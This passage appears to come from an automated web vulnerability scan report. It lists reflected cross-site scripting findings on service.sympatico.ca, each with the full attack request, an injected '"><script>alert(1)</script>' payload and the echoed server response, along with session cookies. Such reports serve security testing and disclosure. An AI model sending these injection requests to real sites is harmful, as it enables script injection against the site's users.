lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:54 GMT
Connection: close
Set-Cookie: SMSESSION=gWY1RLh2oUxVAWzda6QC8ieEof1Y1r4jKcTyplPghrSYfrx++Lo6fU5e90T+PCmUj7KyqxEuF4xWS38OusQCKhsbDD+ARhFuw6vizyQiNv5xqXv7EyQr0tPUtnZFFp+u5LBgXsVXPbmlJ7HQHK9uanlfS1Jw2P4+zh70MWHxXFy39XRu5KzW/Xu1llxgJA56rddB7GXCYeUFsJR06X6ZMWmp4FWRCqOm36uodwz3Muf5cBSKb1w324Uq2lfyTQargoKDX5raN7JPPaLj5myMKVRr21NTf6LBEccLJZC8xwG35GNj6WHLWw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:54 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:54 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:54 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:54 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagesf75d7"><script>alert(1)</script>8f58776601f/bt_topNavSupport_en.gif" />
...[SNIP]...

2.112. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe375"><script>alert(1)</script>8588bbf6abb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.giffe375"><script>alert(1)</script>8588bbf6abb HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:03 GMT
Connection: close
Set-Cookie: SMSESSION=OrY3X85pwNoyuWQ6pw5VSYb2KxhYZln3IJTnnRf3mhAIKpIxGF2uU0v4oa6ag7qnEwPOj811jcpT0CqvR6P2CbhRteftFOPvNp4Pi4rUrVH+WuItKQNN6LtzB9XuifqiC6wDkjuaG6aLlP98IPwaVGBX0ad7qOJtAT0HNWWakSsx11u6U8qpyeBP6ZXAAkHZr7OVnAWcGkP5Z0wBeNeuIMFvItAwvuxjj/gK3OSB2E6Kvec1igKNxUWLnoz1PnF0ooTKnqY6KXwMcTbpMBT6k5nwr+BLkRPmraiAjikQurUEJQ7MDXfJbQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:04 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:04 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:04 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:04 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:04 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:04 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.giffe375"><script>alert(1)</script>8588bbf6abb" />
...[SNIP]...

2.113. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f71b4"><script>alert(1)</script>874551001fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif?f71b4"><script>alert(1)</script>874551001fe=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:32 GMT
Connection: close
Set-Cookie: SMSESSION=kHAxT+LCExqsPeBh/JguBUxBF1C+THsYiBXBR8PjnR/CDewvm+iM9aCXDGFt/uu/FeCfhOc4qQUsx56+T+TsdHiZG/WJcVn9z1aUfkcSzO+SM1a3MByKcg0Zsa40bKP8SpGYyxHJIh4gP9su/FfIGCsIcGYgETJRfltZvHDHCOkOa9USDqt+wu+FkBsrj+mrfxVgZU8eX8J0kgWa3bjkANio1lXNAPPN+ktei1lmKPWw+APQEEvrVxpiuhXe7OGkJhLI3RjTu9Qs8A2sZnfxQJx0mcCWmfUjgDHnWLMyyQuexwsoWdQ7kw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:32 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:32 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:32 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:32 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:32 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:32 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ndex.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif?f71b4"><script>alert(1)</script>874551001fe=1" />
...[SNIP]...

2.114. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e049"><script>alert(1)</script>2eb6e28f602 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C2e049"><script>alert(1)</script>2eb6e28f602/images/buttons/bt_close.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; 